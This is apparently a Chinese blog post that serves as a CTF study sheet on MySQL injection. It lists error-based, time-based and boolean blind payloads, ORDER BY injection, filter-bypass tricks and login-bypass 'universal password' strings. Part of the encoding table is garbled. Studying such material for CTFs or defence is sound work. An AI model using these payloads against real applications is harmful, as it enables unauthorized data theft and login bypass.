深入了解常用的CTF SQL注入

基础知识

SELECT version(),
@@version_compile_os,
database(),
user();

substr(str, position, len)
substring(str, position, len) 
substring(str FROM position FOR len)
LEFT(str,len)
#substring_index(被截取的字段, 关键字, 关键字出现的次数)
UNION #联合查询
group by # 分组
information_schema

information_schema是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables的数据表,该表包含两个字段 table_nametable_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

SQL 注入之宽字节注入

原理

GBK编码、URL转码 利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围) 例如:

符号字符
%2e\
%5c\
%7c/
%2f,
%20white space
%2c,
%27
%22"
%23#
%2a*
%28(
%29)
%26&

SQL注入之基于约束的注入

原理

超过数据类型长度的部分不会被插进表里,如果不将字段作为唯一字段,可以插入重复的数据。

实例

注册admin + 很多空格 + 1,成功以admin身份登录

SQL注入之报错注入

原理

利用mysql的报错信息,获取有用的数据。只有错误能够回显的时候才可以使用。

实例

可以使用的公式有

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));

or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位

and extractvalue(1,concat(0x7e,(select database())))

and exp(~(select * from (select user())a));

and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1)

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
tips:delete是一行一行操作的,先从第一行,如果id不为2,则会执行updatexml函数。

DESC注入

SQL注入之时间盲注

原理

能够截取字符串,同时触发延时即可
SELECT * FROM table WHERE id = 1 AND (if(SUBSTR(database(),1,1)=' ',sleep(5),null)) SELECT * FROM table WHERE id = 1 AND (if(acsii(substr(database(),1,1))=100,sleep(5),null))

select into user(1,'3' + sleep(3));#会计算'3'+sleep(3),所以sleep函数会执行

实例
1. sleep函数配合if条件使用

在这里插入图片描述

select * from user where password='123456';# 假如密码是123456
select * from user where passwod rlike '^1';
select * from user where passwod regexp '^1';
2. 配合select case when 条件触发
SELECT CASE WHEN username='admin' THEN 'xxx' ELSE(sleep(3)) end FROM user;

在这里插入图片描述
在这里插入图片描述

BENCHMARK

在这里插入图片描述

笛卡尔积

让计算变慢,其实就是让运算变多。
在这里插入图片描述
select count(*) from usera, userb;
假设usera为

idvavlue
11
22

userb为

idvavlue
11
22
33

则结果为2*3=6

GET_LOCK

GET_LOCK(str,timeout)```只有在长连接下才会有效
在这里插入图片描述

RLIKE

构造长字符,然后去匹配。
select concat(rpad(1,9999999,'a'),rpad(1,9999999,'a'),···,rpad(1,9999999,'a')) RLIKE '(a.*)+(a.*)+···+(a.*)+b
在这里插入图片描述
tip: test website
http://ctf5.shiyanbar.com/web/baocuo/index.php

MySQL IF 函数介绍

MySQL IF function is one of the MySQL control flow functions that returns a value based on a condition. The IF function is sometimes referred to as IF ELSE or IF THEN ELSE function.

语法如下:
IF(expr,if_true_expr,if_false_expr)
如果 expr 为 TRUE,例如 expr 不为空且不为0,那么if函数将返回 if_true_expr , 否则将返回 if_false_expr。IF函数返回的是数字或者字符取决于使用的方式。
在这里插入图片描述

SQL注入之bool盲注

原理

利用回显的消息不同,判断输入表达式是否正确。其常用函数与时间盲注基本相同

相关函数
MID(column,start,len)
ORD()#字母转ascii
ASCII()

在这里插入图片描述
截取函数

left(str, len)
right(str, len)

SQL注入之order by的注入

使用ORDER BY子句对查询结果按一列或多列排序。
ORDER BY子句的语法格式为:
ORDER BY {column_name [ASC|DESC]}[,...n]

ORDER BY语句默认按照升序对记录进行排序
在不知道列名的情况下可以通过列的序号来指代相应的列。但是这里无法做运算
当ORDER BY注入能通过返回错误信息是,也可以考虑使用报错注入
根据不同的列排序,会返回不同的结果,也可以使用类似于bool型盲注的形式来注入
ORDER BY后面字段可以通过位运算符(|&^~)来使代码被执行,例如 select * from xxx order by id|(sleep(5))
ORDER BY在括号中时后面可以跟UNION,例如
(select 1,2,3 order by 3 asc)union(select 2,3,4)

符号作用
&按位与
|按位 或
~按位取反
^按位异或
<<按位 左移
>>按位右移

SQL注入之常用绕过

SQL注入绕过技巧

  • 空格
    /**/
  • =
     like
     regexp
     !(<>)
    
    • 转义符\
    • 16进制(例如:ctf → 0x637466)
  • ,
    • union注入使用join,例如3' union select * from (select 1) a join (select 2 ) b %23
    • substr from for
    • if->case when

万能密码

select * from admin where username = '' and password = ''

usernamepassword
admin’#
‘+’‘+’
aaa’=’aaa’=’
1\'^'1
'%1#
'=0#
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值